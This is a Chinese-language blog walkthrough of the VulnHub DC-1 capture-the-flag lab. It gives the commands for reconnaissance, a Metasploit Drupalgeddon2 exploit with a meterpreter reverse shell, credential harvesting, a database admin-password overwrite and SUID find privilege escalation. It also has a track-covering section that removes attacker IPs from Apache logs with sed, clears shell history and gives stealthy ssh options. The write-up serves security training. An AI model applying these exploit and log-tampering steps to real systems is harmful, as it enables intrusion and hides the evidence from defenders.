加入交流群,一起成为网安高手
由于传播、利用本公众小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!
本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
攻击机:kali,自行准备
开启靶机,切换net/桥接模式
nmap探测主机存活80/sP探测
❝> nmap的基本使用,以及高级用法文章参考
1nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式
1# 或者 2 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。
靶机端口扫描,开放了22、80、111、34471端口
1nmap 192.168.209.157 -p- -v
访问http服务的80端口,进入到web界面,有一个登录
sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入
注册一个用户试试,他还要发送邮件,并没有让我们填写密码
需要批准之后才能注册用户
由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用
访问
也没发现什么有用的内容
在这里没用,应该是一个api接口
还有一些七七八八的就不看了,基本没啥作用的
使用 whatweb
(kali自带)指纹识别,找到目标cms的版本和其他信息
1whatweb -v 192.168.209.157
msf漏洞利用神器,直接搜索 Drupal
这些模块
1msfconsole 2search Drupal
使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的
1show payloads
我们使用第二个模块试试
1use unix/webapp/drupal_drupalgeddon2 2# 或者 3use 1 4# 然后 5show payloads # 显示该模块下的所有payload
发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中
设置payload为tcp反弹shell
1set payload payload/php/meterpreter/reverse_tcp
当然也可以使用tcp正向连接
1set payload payload/php/meterpreter/bind_tcp
❝> 正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听
反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。
主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问 外网靶机 ,反向连接需要两个机器都需要能互相ping
这里就使用反向连接来测试
如果出现如下错误多半是防火墙端口没有放行
就是配置下的本地监听端口
使用iptables放行端口
1sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
这个时候重新开始攻击即可
1run 2getuid
查看系统信息
1sysinfo
获取shell
1shell
上面终端显示的样子不好看,使用python调用系统终端
1python -c "import pty;pty.spawn('/bin/bash')"
这样子就好看多了
找到flag1.txt
他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下
1find . -name 'set*'
又给了你一个提示
What can you do with these credentials?
你能用这些凭证做什么?
1$databases = array ( 2 'default' => 3 array ( 4 'default' => 5 array ( 6 'database' => 'drupaldb', 7 'username' => 'dbuser', 8 'password' => 'R0ck3t', 9 'host' => 'localhost', 10 'port' => '', 11 'driver' => 'mysql', 12 'prefix' => '', 13 ), 14 ), 15);
那当然是连接 本地数据库 咯
1mysql -udbuser -pR0ck3t
查看所有数据库
切换到这个站点的数据库,并查看有什么表
1use drupaldb 2show tables;
找到有一个users表
里面包含用户名/密码信息
1select * from users;
这样子不好看,那么我们就加一个\G
1select * from users\G;
不知道是什么加密, 文心一言 说还加了盐,那么我们只能去找这个hash规则的文件了
从当前站点目录查找这个文件,并发现有一个 password-hash.sh 文件
1find . -name '*hash*'
在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示
那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?
把他复制下来
1$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq
进入mysql
1mysql -udbuser -pR0ck3t
修改密码
1update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';
登录成功了!
这里我们就找到了flag3
点进去找到这个,提示我们去passwd文件看看
提示我们去passwd,找到flag4
1cat /etc/passwd
切换flag4用户下的目录
查看这个文件的权限,尝试追加用户提权,但是只能root读写
1find / -perm -u=s -type f 2>/dev/null 2# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。
使用find提权
1find / -exec "/bin/bash" -p \;
提权成功,找到了最后一个flag
观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)
1、中间件日志清除
对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
1find / -name 'access*'
查看都有一些什么内容
1cat /var/log/apache2/access.log
筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录
1sed -i '/192.168.209.1/d' /var/log/apache2/access.log
❝> 这条命令会直接在原文件中删除所有包含 192.168.209.1
的行。 -i
选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志
1cat /var/log/apache2/access.log
可以看到连同kali(192.168.209.151)的日志一起清除成功了
同理正常请求日志清除了, 错误请求日志 也要删除吧
1find / -name 'error*'
1cat /var/log/apache2/error.log
一大堆kali攻击日志
同理直接使用sed更改
1sed -i '/192.168.209.1/d' /var/log/apache2/error.log
清除成功!
2、密码还原
对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧
登录数据库
1mysql -udbuser -pR0ck3t
1update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";
3、清除数据库日志
没有权限
查看日志状态
1show variables like '%log%';
❝> general_log
是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。
- 当
general_log
设置为ON
时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file
指定的文件中。
general_log
设置为 OFF
时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。慢查询日志
slow_query_log
看图也是关闭的
- 当
slow_query_log
设置为ON
时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是hostname-slow.log
。
slow_query_log
设置为 OFF
时,MySQL 不会记录慢查询。找到这两个日志文件路径,看看有没有,很好没有,这一步跳过
4、清除命令历史
查看自己曾经输入过的命令
1history
1history -c # 清除命令历史
5、登录日志
这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
6、nmap扫描日志
nmap扫描时,如果你指定了输出文件(例如使用 -oN
选项),确保删除这些文件。
清除临时文件,如 /tmp
,查看是否有nmap相关的临时文件,并将其删除。
7、更多
我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知,谢谢
隐身登录系统,不会被w、who、last等指令检测到。
1ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
1ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
❝> 往期文章推荐